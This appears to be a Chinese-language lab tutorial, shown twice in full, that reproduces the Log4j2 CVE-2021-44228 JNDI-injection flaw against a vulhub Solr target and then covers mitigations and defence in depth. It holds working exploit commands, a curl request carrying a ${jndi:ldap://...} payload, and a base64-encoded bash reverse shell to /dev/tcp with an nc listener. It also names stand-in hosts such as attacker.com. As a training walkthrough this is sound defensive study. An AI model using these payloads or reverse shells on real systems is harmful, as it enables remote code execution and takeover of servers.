1. 项目概述一次对经典漏洞的深度复现之旅最近在内部安全演练和新人培训中我又把那个曾经让全球互联网“抖三抖”的Log4j2漏洞CVE-2021-44228拿出来做了一次完整的复现。这不仅仅是为了完成一个任务更是因为我认为对于安全从业者、开发人员甚至是运维工程师来说亲手“引爆”一次这个级别的漏洞其价值远超阅读十篇分析报告。它能让你从攻击者的视角深刻理解漏洞的触发原理、利用条件以及在实际环境中可能造成的毁灭性影响从而在未来的工作中建立起更坚固的防御直觉。Log4j2漏洞官方编号CVE-2021-44228因其危害巨大、影响范围极广被业内戏称为“核弹级”漏洞。简单来说它存在于Apache Log4j2这个Java生态中应用极其广泛的日志记录框架里。攻击者可以通过构造一个特殊的字符串当这个字符串被记录到日志时就能触发远程代码执行RCE。这意味着攻击者可能只需要让服务器在日志里“看到”一行恶意数据就能完全控制这台服务器。复现这个漏洞就是要亲手搭建一个存在漏洞的环境构造攻击载荷并成功拿到系统权限完整走通攻击链。这次复现适合所有对应用安全、漏洞原理感兴趣的朋友。无论你是想入门安全测试的开发者还是希望加固自身系统安全的运维人员亦或是负责企业安全建设的工程师通过这个动手过程你不仅能掌握一个经典漏洞的利用手法更能深入理解Java安全机制、JNDI注入、以及如何在现代开发中避免类似问题。下面我将以一个内部测试环境为例带你一步步揭开这个漏洞的神秘面纱。2. 漏洞原理深度解析为什么一行日志能导致服务器沦陷要成功复现必须先吃透原理。否则你只是在机械地执行命令遇到问题会束手无策。Log4j2漏洞的核心在于其“消息查找替换”功能具体来说是lookup功能的设计缺陷。2.1 JNDI与LDAP漏洞利用的“高速公路”Java命名和目录接口JNDI是Java提供的一个API用于访问各种命名和目录服务比如LDAP、RMI、DNS等。你可以把它想象成一个“资源查找器”应用程序通过JNDI传入一个地址如ldap://evil.com/Exploit它就能去对应的服务上获取资源可能是一个Java类的定义。在Log4j2中为了增强日志的灵活性设计了一套lookup语法允许在日志消息中动态插入变量值例如${java:version}可以输出Java版本。问题就出在它支持${jndi:xxx}这种格式的查找。当Log4j2处理日志消息时如果发现${jndi:xxx}模式它会尝试通过JNDI去解析xxx这个地址。关键点在于JNDI的LDAP协议支持从远程服务器加载Java类。如果xxx是一个由攻击者控制的LDAP服务器地址如ldap://attacker.com:1389/Exploit并且该LDAP服务器返回了一个指向恶意Java类的引用那么受害服务器在解析这个JNDI请求时就会自动去加载并执行那个恶意类中的代码。这就是远程代码执行的根源。2.2 漏洞触发链条拆解整个攻击链条可以清晰地分为四步输入注入攻击者找到一个能将输入记录到应用日志的地方。这太常见了HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至是登录的用户名。攻击者在此处插入恶意Payload${jndi:ldap://attacker.com:1389/a}。日志记录存在漏洞的Log4j2库在处理这条日志时识别出${jndi:...}模式。JNDI解析Log4j2调用JNDI服务去连接attacker.com:1389这个LDAP服务器。恶意类加载与执行攻击者控制的LDAP服务器响应请求告诉客户端“你要的/a这个对象其实在这个地址http://attacker.com/Exploit.class”。存在漏洞的Java版本默认情况下会信任这个响应自动从http://attacker.com/下载Exploit.class文件加载并实例化它。而Exploit.class中构造方法的代码就会被执行从而完成命令执行。注意高版本的Java8u191, 11.0.1等默认禁用了从远程地址通过JNDI加载工厂类这增加了利用难度但并非绝对免疫。通过一些绕过手段如利用本地ClassPath中已有的危险类仍然可能成功这也是复现时需要根据环境调整策略的原因。3. 复现环境搭建与核心工具选型纸上得来终觉浅绝知此事要躬行。我们首先需要搭建一个安全的、隔离的实验室环境。强烈建议在虚拟机或隔离的Docker环境中进行所有操作切勿在生产环境或联网的主机上尝试。3.1 靶机环境准备存在漏洞的应用我们的目标是快速搭建一个使用脆弱版本Log4j2的简单Java Web应用。方案选择手动编译一个Spring Boot Demo太慢我推荐使用现成的漏洞靶场。这里我选择vulhub项目中的环境它一键化非常方便。安装Docker与Docker-Compose这是运行vulhub的基础。拉取漏洞环境# 克隆 vulhub 仓库如果已有则跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 # 启动漏洞环境 docker-compose up -d环境验证执行后Docker会在本地8080端口启动一个Apache Solr服务Solr使用了存在漏洞的Log4j2。访问http://your-vm-ip:8080能看到Solr管理界面靶机就准备好了。为什么选Solr因为它是一个广泛使用的、真实存在的开源项目在漏洞爆发时确实受影响复现更具真实感。而且vulhub已经帮我们配置好了所有依赖省时省力。3.2 攻击机环境准备用于发起攻击我们需要三样工具一个用于生成恶意Payload的Exploit一个恶意的LDAP参考服务器一个承载恶意Class文件的HTTP服务器。工具选型与理由JNDI注入利用工具JNDI-Injection-Exploit这是大佬welk1n开发的神器。它集成了恶意LDAP服务器和HTTP服务器能根据我们的命令自动生成恶意Class并启动服务是复现的“瑞士军刀”。# 下载工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译需要Maven mvn clean package -DskipTestsJava版本攻击机上需要安装Java 8用于运行上述工具。注意为了演示最经典的利用场景我们暂时不讨论高版本Java的绕过因此确保攻击机Java版本无需很高。网络连通性确保靶机Docker容器能访问到攻击机的IP地址。在虚拟机实验中通常使用桥接或NAT网络需要找到攻击机在虚拟网络内的IP如192.168.x.x而不是127.0.0.1。实操心得很多复现失败的第一步就卡在网络上。Docker容器默认有自己网络。可以用docker inspect [container-id] | grep IPAddress查看靶机容器IP并确保攻击工具绑定的IP是这个网络内可路由的地址。最简单的方法是在启动攻击工具时使用0.0.0.0绑定所有接口。4. 漏洞复现实操全流程记录环境就绪现在让我们发起攻击。整个流程就像一场精心设计的“钓鱼”。4.1 启动恶意JNDI服务器在攻击机上进入JNDI-Injection-Exploit的target目录运行以下命令java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/pwned_success -A 192.168.52.1参数解释-C command指定要执行的命令。这里我们用一个无害的命令touch /tmp/pwned_success在靶机临时目录创建一个文件作为攻击成功的标志。在实际渗透测试中这里可能会是反弹Shell的命令。-A your-attacker-ip指定攻击机IP地址LDAP和HTTP服务将绑定在此IP上。请替换为你的攻击机在靶机网络内可访问的IP。运行后工具会启动LDAP服务默认1389端口和HTTP服务默认8180端口并输出几个可用的Payload例如[] LDAP Server Start Listening on 1389... [] HTTP Server Start Listening on 8180... [] Payload: ${jndi:ldap://192.168.52.1:1389/abc123} [] Payload: ${jndi:rmi://192.168.52.1:1099/def456}我们复制ldap的那个Payload。4.2 构造并发送攻击请求我们的靶机是Solr它有一个管理接口。Log4j2会记录访问日志包括请求参数。我们向Solr的一个端点发送带有恶意Payload的HTTP请求。使用curl命令或在浏览器中尝试但注意URL编码curl http://192.168.52.128:8080/solr/admin/cores?action${jndi:ldap://192.168.52.1:1389/abc123}192.168.52.128:8080是我的靶机Solr地址。/solr/admin/cores是Solr的一个API路径。action后面的参数值就是我们复制的Payload。发送请求后立即观察攻击机上的JNDI工具终端你应该能看到类似下面的回显表明LDAP服务器收到了连接请求并引导客户端加载了恶意类[] Received LDAP Query: abc123 [] Send LDAP ResourceRef result for abc123 with basic remote reference payload. [] Send HTTP request response: Exploit.class data.4.3 验证攻击结果现在我们进入靶机Docker容器检查命令是否执行成功。# 进入运行Solr的容器 先通过 docker ps 查看容器ID docker exec -it [container-id] /bin/bash # 检查文件是否被创建 ls -la /tmp/pwned_success如果看到/tmp/pwned_success这个文件存在那么恭喜你远程代码执行RCE成功了这证明攻击链完全走通漏洞被成功利用。4.4 进阶利用获取反向Shell创建文件只是验证。更典型的利用是获取一个反向Shell从而获得一个交互式命令行。我们修改攻击命令。在攻击机上监听一个端口例如9999nc -lvnp 9999重新启动JNDI工具命令改为反弹Shell。反弹Shell的命令需要根据靶机环境调整。Linux下常用bash反弹# 假设攻击机IP是 192.168.52.1监听端口9999 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.52.1这里-C参数后的长字符串是一个经过Base64编码的反弹Shell命令bash -i /dev/tcp/192.168.52.1/9999 01的编码结果。这样处理可以避免特殊字符在命令行传递时出现问题。像之前一样使用工具新生成的Payload向靶机发送请求。观察攻击机的nc监听窗口如果成功你会获得一个来自靶机容器的Shell提示符。注意事项反弹Shell的成功率受靶机环境限制是否安装bash、是否有/dev/tcp支持、出站连接是否被防火墙限制等。touch命令是更通用的验证方式。在复杂环境中可能需要尝试多种Payload编码和执行方式。5. 漏洞修复与防御方案探究复现漏洞不是为了攻击而是为了更好的防御。理解攻击原理后修复方案就非常清晰了。5.1 紧急缓解措施当时治标在漏洞爆发初期来不及升级时可采用以下方法修改JVM参数在应用启动参数中添加-Dlog4j2.formatMsgNoLookupstrue。这是Log4j官方提供的临时禁用lookup功能的方案能直接阻断漏洞触发。移除漏洞类删除Log4j-core jar包中的JndiLookup类文件。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class环境变量限制设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同JVM参数。5.2 根本解决方案治本升级Log4j2到安全版本这是唯一彻底的解决方案。对于 Log4j 2.x 版本必须升级到2.17.0或更高版本后续又发现了其他相关漏洞建议直接上最新稳定版。检查所有依赖链确保所有间接引入的Log4j2依赖也被升级。使用Maven的mvn dependency:tree或Gradle的依赖分析工具来排查。5.3 纵深防御建议除了直接修复漏洞还应建立更深层的防御体系网络层控制在防火墙或安全组策略中严格限制服务器对外发起请求的能力出站流量。特别是限制服务器访问非常用端口如LDAP的1389、RMI的1099等。这样即使漏洞被触发JNDI也无法连接到外部的恶意服务器。运行时保护使用RASP运行时应用自我保护或WAFWeb应用防火墙产品它们可以注入检测逻辑到应用运行时或网络流量中实时拦截带有${jndi:等模式的攻击请求。最小权限原则运行Java应用的操作系统用户应遵循最小权限原则避免使用root权限。这样即使被攻破攻击者获得的权限也有限。持续依赖管理将软件成分分析SCA工具集成到CI/CD流程中自动扫描项目依赖及时发现并告警已知漏洞。6. 复现过程中的常见问题与排查实录即使按照步骤操作你也可能会遇到问题。这里记录几个我踩过的坑和解决方案。问题现象可能原因排查步骤与解决方案发送Payload后JNDI工具无任何连接日志1. 网络不通。2. Payload格式错误或未触发日志记录。3. 靶机Log4j2版本不对或已被修复。1.检查网络从靶机容器内ping攻击机IP或telnet [攻击机IP] 1389测试端口连通性。2.检查Payload确保${jndi:ldap://...}格式完全正确没有多余空格或字符。尝试将Payload放在HTTP请求的不同位置URL参数、Header头、Body。3.确认漏洞环境进入容器检查Log4j2版本 (find / -name *log4j*)确认是2.0-beta9 到 2.14.1之间的版本。JNDI工具收到LDAP查询但靶机未执行命令1. 靶机Java版本过高8u191, 11.0.1默认禁用了远程类加载。2. 命令本身在靶机环境执行失败。1.检查Java版本在靶机执行java -version。2.调整利用方式对于高版本Java可以尝试使用JNDI-Injection-Exploit的-B参数指定利用本地ClassPath中已有的危险类如groovy进行绕过但这更复杂。3.简化命令先用绝对路径执行最简单的命令如/usr/bin/touch /tmp/test。反弹Shell不成功1. 靶机没有bash或/dev/tcp不可用。2. 出站端口被防火墙拦截。3. Payload编码/格式错误。1.换用其他Shell或命令尝试使用nc、python、php等命令反弹或者直接用执行命令回显的方式。2.检查防火墙确保靶机能访问攻击机的监听端口。3.使用工具内置的多种PayloadJNDI工具支持多种编码和方式可以换用RMI协议试试。Docker容器内无法访问宿主机IPDocker网络模式如bridge下容器内访问宿主机需用特殊IP。在攻击命令中不要用宿主机的物理网卡IP如192.168.1.x而应该使用Docker网关IP通常是172.17.0.1或宿主机的host.docker.internalDocker Desktop。最稳妥的方式是在攻击机上使用ifconfig或ip addr查看Docker网桥如docker0的IP。我的一个实操心得在复现复杂漏洞时一定要分阶段验证。不要一上来就追求反弹Shell。先确保touch /tmp/test这种简单命令能执行证明RCE通道是通的。然后再尝试更复杂的载荷。这样在失败时能快速定位问题是出在漏洞利用阶段还是出在后续的Payload执行阶段。7. 从复现中学到的安全开发启示亲手复现一次Log4j2漏洞给我的震撼是持久的。它不仅仅是一个技术漏洞更是一次深刻的安全教育。首先对“第三方依赖”要保持敬畏。Log4j2如此基础、如此广泛使用的库都能出现这种级别的漏洞说明没有任何依赖是绝对可靠的。这要求我们必须严格管理依赖清单明确知道项目引入了什么以及它们为什么被引入。及时更新建立依赖漏洞监控和快速响应机制安全更新优先级应为最高。最小化依赖避免引入不必要的、功能过于庞大的依赖。其次默认安全Secure by Default原则至关重要。Log4j2的lookup功能本意是好的但默认开启且能力过强就埋下了祸根。在设计和开发时任何可能执行外部代码或访问外部资源的特性都应该默认关闭或需要显式配置才能开启。最后深度防御Defense in Depth是最后的堡垒。即使应用层出现了漏洞如果网络层做好了出站限制如果主机层做好了权限控制攻击者的行动也会被极大限制甚至被阻断。不能把安全寄托在单一环节上。这次复现就像一次消防演习让你在安全的模拟环境中亲历“火灾”现场。它带给你的不仅是关于一个漏洞的具体知识更是一种对安全风险的敏锐直觉和一套应对复杂问题的排查方法论。无论你未来是写代码、做运维还是搞安全这种经验都无比珍贵。
Log4j2漏洞深度复现:从JNDI注入原理到实战RCE利用
发布时间:2026/5/20 2:10:21
1. 项目概述一次对经典漏洞的深度复现之旅最近在内部安全演练和新人培训中我又把那个曾经让全球互联网“抖三抖”的Log4j2漏洞CVE-2021-44228拿出来做了一次完整的复现。这不仅仅是为了完成一个任务更是因为我认为对于安全从业者、开发人员甚至是运维工程师来说亲手“引爆”一次这个级别的漏洞其价值远超阅读十篇分析报告。它能让你从攻击者的视角深刻理解漏洞的触发原理、利用条件以及在实际环境中可能造成的毁灭性影响从而在未来的工作中建立起更坚固的防御直觉。Log4j2漏洞官方编号CVE-2021-44228因其危害巨大、影响范围极广被业内戏称为“核弹级”漏洞。简单来说它存在于Apache Log4j2这个Java生态中应用极其广泛的日志记录框架里。攻击者可以通过构造一个特殊的字符串当这个字符串被记录到日志时就能触发远程代码执行RCE。这意味着攻击者可能只需要让服务器在日志里“看到”一行恶意数据就能完全控制这台服务器。复现这个漏洞就是要亲手搭建一个存在漏洞的环境构造攻击载荷并成功拿到系统权限完整走通攻击链。这次复现适合所有对应用安全、漏洞原理感兴趣的朋友。无论你是想入门安全测试的开发者还是希望加固自身系统安全的运维人员亦或是负责企业安全建设的工程师通过这个动手过程你不仅能掌握一个经典漏洞的利用手法更能深入理解Java安全机制、JNDI注入、以及如何在现代开发中避免类似问题。下面我将以一个内部测试环境为例带你一步步揭开这个漏洞的神秘面纱。2. 漏洞原理深度解析为什么一行日志能导致服务器沦陷要成功复现必须先吃透原理。否则你只是在机械地执行命令遇到问题会束手无策。Log4j2漏洞的核心在于其“消息查找替换”功能具体来说是lookup功能的设计缺陷。2.1 JNDI与LDAP漏洞利用的“高速公路”Java命名和目录接口JNDI是Java提供的一个API用于访问各种命名和目录服务比如LDAP、RMI、DNS等。你可以把它想象成一个“资源查找器”应用程序通过JNDI传入一个地址如ldap://evil.com/Exploit它就能去对应的服务上获取资源可能是一个Java类的定义。在Log4j2中为了增强日志的灵活性设计了一套lookup语法允许在日志消息中动态插入变量值例如${java:version}可以输出Java版本。问题就出在它支持${jndi:xxx}这种格式的查找。当Log4j2处理日志消息时如果发现${jndi:xxx}模式它会尝试通过JNDI去解析xxx这个地址。关键点在于JNDI的LDAP协议支持从远程服务器加载Java类。如果xxx是一个由攻击者控制的LDAP服务器地址如ldap://attacker.com:1389/Exploit并且该LDAP服务器返回了一个指向恶意Java类的引用那么受害服务器在解析这个JNDI请求时就会自动去加载并执行那个恶意类中的代码。这就是远程代码执行的根源。2.2 漏洞触发链条拆解整个攻击链条可以清晰地分为四步输入注入攻击者找到一个能将输入记录到应用日志的地方。这太常见了HTTP请求头如User-Agent、X-Forwarded-For、请求参数、表单数据、甚至是登录的用户名。攻击者在此处插入恶意Payload${jndi:ldap://attacker.com:1389/a}。日志记录存在漏洞的Log4j2库在处理这条日志时识别出${jndi:...}模式。JNDI解析Log4j2调用JNDI服务去连接attacker.com:1389这个LDAP服务器。恶意类加载与执行攻击者控制的LDAP服务器响应请求告诉客户端“你要的/a这个对象其实在这个地址http://attacker.com/Exploit.class”。存在漏洞的Java版本默认情况下会信任这个响应自动从http://attacker.com/下载Exploit.class文件加载并实例化它。而Exploit.class中构造方法的代码就会被执行从而完成命令执行。注意高版本的Java8u191, 11.0.1等默认禁用了从远程地址通过JNDI加载工厂类这增加了利用难度但并非绝对免疫。通过一些绕过手段如利用本地ClassPath中已有的危险类仍然可能成功这也是复现时需要根据环境调整策略的原因。3. 复现环境搭建与核心工具选型纸上得来终觉浅绝知此事要躬行。我们首先需要搭建一个安全的、隔离的实验室环境。强烈建议在虚拟机或隔离的Docker环境中进行所有操作切勿在生产环境或联网的主机上尝试。3.1 靶机环境准备存在漏洞的应用我们的目标是快速搭建一个使用脆弱版本Log4j2的简单Java Web应用。方案选择手动编译一个Spring Boot Demo太慢我推荐使用现成的漏洞靶场。这里我选择vulhub项目中的环境它一键化非常方便。安装Docker与Docker-Compose这是运行vulhub的基础。拉取漏洞环境# 克隆 vulhub 仓库如果已有则跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 # 启动漏洞环境 docker-compose up -d环境验证执行后Docker会在本地8080端口启动一个Apache Solr服务Solr使用了存在漏洞的Log4j2。访问http://your-vm-ip:8080能看到Solr管理界面靶机就准备好了。为什么选Solr因为它是一个广泛使用的、真实存在的开源项目在漏洞爆发时确实受影响复现更具真实感。而且vulhub已经帮我们配置好了所有依赖省时省力。3.2 攻击机环境准备用于发起攻击我们需要三样工具一个用于生成恶意Payload的Exploit一个恶意的LDAP参考服务器一个承载恶意Class文件的HTTP服务器。工具选型与理由JNDI注入利用工具JNDI-Injection-Exploit这是大佬welk1n开发的神器。它集成了恶意LDAP服务器和HTTP服务器能根据我们的命令自动生成恶意Class并启动服务是复现的“瑞士军刀”。# 下载工具 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译需要Maven mvn clean package -DskipTestsJava版本攻击机上需要安装Java 8用于运行上述工具。注意为了演示最经典的利用场景我们暂时不讨论高版本Java的绕过因此确保攻击机Java版本无需很高。网络连通性确保靶机Docker容器能访问到攻击机的IP地址。在虚拟机实验中通常使用桥接或NAT网络需要找到攻击机在虚拟网络内的IP如192.168.x.x而不是127.0.0.1。实操心得很多复现失败的第一步就卡在网络上。Docker容器默认有自己网络。可以用docker inspect [container-id] | grep IPAddress查看靶机容器IP并确保攻击工具绑定的IP是这个网络内可路由的地址。最简单的方法是在启动攻击工具时使用0.0.0.0绑定所有接口。4. 漏洞复现实操全流程记录环境就绪现在让我们发起攻击。整个流程就像一场精心设计的“钓鱼”。4.1 启动恶意JNDI服务器在攻击机上进入JNDI-Injection-Exploit的target目录运行以下命令java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/pwned_success -A 192.168.52.1参数解释-C command指定要执行的命令。这里我们用一个无害的命令touch /tmp/pwned_success在靶机临时目录创建一个文件作为攻击成功的标志。在实际渗透测试中这里可能会是反弹Shell的命令。-A your-attacker-ip指定攻击机IP地址LDAP和HTTP服务将绑定在此IP上。请替换为你的攻击机在靶机网络内可访问的IP。运行后工具会启动LDAP服务默认1389端口和HTTP服务默认8180端口并输出几个可用的Payload例如[] LDAP Server Start Listening on 1389... [] HTTP Server Start Listening on 8180... [] Payload: ${jndi:ldap://192.168.52.1:1389/abc123} [] Payload: ${jndi:rmi://192.168.52.1:1099/def456}我们复制ldap的那个Payload。4.2 构造并发送攻击请求我们的靶机是Solr它有一个管理接口。Log4j2会记录访问日志包括请求参数。我们向Solr的一个端点发送带有恶意Payload的HTTP请求。使用curl命令或在浏览器中尝试但注意URL编码curl http://192.168.52.128:8080/solr/admin/cores?action${jndi:ldap://192.168.52.1:1389/abc123}192.168.52.128:8080是我的靶机Solr地址。/solr/admin/cores是Solr的一个API路径。action后面的参数值就是我们复制的Payload。发送请求后立即观察攻击机上的JNDI工具终端你应该能看到类似下面的回显表明LDAP服务器收到了连接请求并引导客户端加载了恶意类[] Received LDAP Query: abc123 [] Send LDAP ResourceRef result for abc123 with basic remote reference payload. [] Send HTTP request response: Exploit.class data.4.3 验证攻击结果现在我们进入靶机Docker容器检查命令是否执行成功。# 进入运行Solr的容器 先通过 docker ps 查看容器ID docker exec -it [container-id] /bin/bash # 检查文件是否被创建 ls -la /tmp/pwned_success如果看到/tmp/pwned_success这个文件存在那么恭喜你远程代码执行RCE成功了这证明攻击链完全走通漏洞被成功利用。4.4 进阶利用获取反向Shell创建文件只是验证。更典型的利用是获取一个反向Shell从而获得一个交互式命令行。我们修改攻击命令。在攻击机上监听一个端口例如9999nc -lvnp 9999重新启动JNDI工具命令改为反弹Shell。反弹Shell的命令需要根据靶机环境调整。Linux下常用bash反弹# 假设攻击机IP是 192.168.52.1监听端口9999 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.52.1这里-C参数后的长字符串是一个经过Base64编码的反弹Shell命令bash -i /dev/tcp/192.168.52.1/9999 01的编码结果。这样处理可以避免特殊字符在命令行传递时出现问题。像之前一样使用工具新生成的Payload向靶机发送请求。观察攻击机的nc监听窗口如果成功你会获得一个来自靶机容器的Shell提示符。注意事项反弹Shell的成功率受靶机环境限制是否安装bash、是否有/dev/tcp支持、出站连接是否被防火墙限制等。touch命令是更通用的验证方式。在复杂环境中可能需要尝试多种Payload编码和执行方式。5. 漏洞修复与防御方案探究复现漏洞不是为了攻击而是为了更好的防御。理解攻击原理后修复方案就非常清晰了。5.1 紧急缓解措施当时治标在漏洞爆发初期来不及升级时可采用以下方法修改JVM参数在应用启动参数中添加-Dlog4j2.formatMsgNoLookupstrue。这是Log4j官方提供的临时禁用lookup功能的方案能直接阻断漏洞触发。移除漏洞类删除Log4j-core jar包中的JndiLookup类文件。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class环境变量限制设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同JVM参数。5.2 根本解决方案治本升级Log4j2到安全版本这是唯一彻底的解决方案。对于 Log4j 2.x 版本必须升级到2.17.0或更高版本后续又发现了其他相关漏洞建议直接上最新稳定版。检查所有依赖链确保所有间接引入的Log4j2依赖也被升级。使用Maven的mvn dependency:tree或Gradle的依赖分析工具来排查。5.3 纵深防御建议除了直接修复漏洞还应建立更深层的防御体系网络层控制在防火墙或安全组策略中严格限制服务器对外发起请求的能力出站流量。特别是限制服务器访问非常用端口如LDAP的1389、RMI的1099等。这样即使漏洞被触发JNDI也无法连接到外部的恶意服务器。运行时保护使用RASP运行时应用自我保护或WAFWeb应用防火墙产品它们可以注入检测逻辑到应用运行时或网络流量中实时拦截带有${jndi:等模式的攻击请求。最小权限原则运行Java应用的操作系统用户应遵循最小权限原则避免使用root权限。这样即使被攻破攻击者获得的权限也有限。持续依赖管理将软件成分分析SCA工具集成到CI/CD流程中自动扫描项目依赖及时发现并告警已知漏洞。6. 复现过程中的常见问题与排查实录即使按照步骤操作你也可能会遇到问题。这里记录几个我踩过的坑和解决方案。问题现象可能原因排查步骤与解决方案发送Payload后JNDI工具无任何连接日志1. 网络不通。2. Payload格式错误或未触发日志记录。3. 靶机Log4j2版本不对或已被修复。1.检查网络从靶机容器内ping攻击机IP或telnet [攻击机IP] 1389测试端口连通性。2.检查Payload确保${jndi:ldap://...}格式完全正确没有多余空格或字符。尝试将Payload放在HTTP请求的不同位置URL参数、Header头、Body。3.确认漏洞环境进入容器检查Log4j2版本 (find / -name *log4j*)确认是2.0-beta9 到 2.14.1之间的版本。JNDI工具收到LDAP查询但靶机未执行命令1. 靶机Java版本过高8u191, 11.0.1默认禁用了远程类加载。2. 命令本身在靶机环境执行失败。1.检查Java版本在靶机执行java -version。2.调整利用方式对于高版本Java可以尝试使用JNDI-Injection-Exploit的-B参数指定利用本地ClassPath中已有的危险类如groovy进行绕过但这更复杂。3.简化命令先用绝对路径执行最简单的命令如/usr/bin/touch /tmp/test。反弹Shell不成功1. 靶机没有bash或/dev/tcp不可用。2. 出站端口被防火墙拦截。3. Payload编码/格式错误。1.换用其他Shell或命令尝试使用nc、python、php等命令反弹或者直接用执行命令回显的方式。2.检查防火墙确保靶机能访问攻击机的监听端口。3.使用工具内置的多种PayloadJNDI工具支持多种编码和方式可以换用RMI协议试试。Docker容器内无法访问宿主机IPDocker网络模式如bridge下容器内访问宿主机需用特殊IP。在攻击命令中不要用宿主机的物理网卡IP如192.168.1.x而应该使用Docker网关IP通常是172.17.0.1或宿主机的host.docker.internalDocker Desktop。最稳妥的方式是在攻击机上使用ifconfig或ip addr查看Docker网桥如docker0的IP。我的一个实操心得在复现复杂漏洞时一定要分阶段验证。不要一上来就追求反弹Shell。先确保touch /tmp/test这种简单命令能执行证明RCE通道是通的。然后再尝试更复杂的载荷。这样在失败时能快速定位问题是出在漏洞利用阶段还是出在后续的Payload执行阶段。7. 从复现中学到的安全开发启示亲手复现一次Log4j2漏洞给我的震撼是持久的。它不仅仅是一个技术漏洞更是一次深刻的安全教育。首先对“第三方依赖”要保持敬畏。Log4j2如此基础、如此广泛使用的库都能出现这种级别的漏洞说明没有任何依赖是绝对可靠的。这要求我们必须严格管理依赖清单明确知道项目引入了什么以及它们为什么被引入。及时更新建立依赖漏洞监控和快速响应机制安全更新优先级应为最高。最小化依赖避免引入不必要的、功能过于庞大的依赖。其次默认安全Secure by Default原则至关重要。Log4j2的lookup功能本意是好的但默认开启且能力过强就埋下了祸根。在设计和开发时任何可能执行外部代码或访问外部资源的特性都应该默认关闭或需要显式配置才能开启。最后深度防御Defense in Depth是最后的堡垒。即使应用层出现了漏洞如果网络层做好了出站限制如果主机层做好了权限控制攻击者的行动也会被极大限制甚至被阻断。不能把安全寄托在单一环节上。这次复现就像一次消防演习让你在安全的模拟环境中亲历“火灾”现场。它带给你的不仅是关于一个漏洞的具体知识更是一种对安全风险的敏锐直觉和一套应对复杂问题的排查方法论。无论你未来是写代码、做运维还是搞安全这种经验都无比珍贵。